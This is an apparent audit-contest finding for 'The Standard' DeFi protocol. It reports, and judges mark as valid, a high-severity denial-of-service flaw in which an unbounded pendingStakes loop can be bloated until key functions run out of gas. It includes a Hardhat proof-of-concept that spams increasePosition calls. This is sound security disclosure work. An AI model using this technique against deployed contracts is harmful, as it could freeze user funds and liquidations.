The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious user can DoS entire system

Summary

Because consolidatePendingStakes iterates over all pendingStakes in a loop, a malicious user could freeze the entire system.

Vulnerability Details

The root cause of the issue is located within the consolidatePendingStakes function:

function consolidatePendingStakes() private {
uint256 deadline = block.timestamp - 1 days;
for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
deletePendingStake(uint256(i));
i--;
}
}
}```
The function iterates over the `pendingStakes` array, updating positions and removing outdated stakes. However, as `pendingStakes` grows, the iteration becomes increasingly gas-intensive, potentially leading to an 'out of gas' error. This is particularly problematic since `consolidatePendingStakes` is a common component in key functions like `increasePosition`, `decreasePosition`, and even `runLiquidation`.
In `consolidatePendingStakes`, there is no DoS when an attacker attacks because pending stakes become more consumable when they pass their deadline.
DoS occurs 1 day after the attack.
POC:
```javascript
it.only('System DoS', async () => {
// create "liquidation" funds
const ethCollateral = ethers.utils.parseEther('0.05');
await holder1.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
const tstStake1 = ethers.utils.parseEther('1000');
await TST.mint(holder1.address, tstStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
for(let i =0;i<200;i++){
await LiquidationPool.connect(holder1).increasePosition(1, 0);
}
const fees = ethers.utils.parseEther('1000');
await EUROs.mint(LiquidationPoolManager.address, fees);
await fastForward(DAY);
await LiquidationPoolManager.runLiquidation(TOKEN_ID);
});

Impact

The entire system will stop.

Tools Used

VS Code

Recommendations

Due to the structure, it's hard to prevent the problem from happening at all.
The best solution is to limit the length of pending stakes.

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.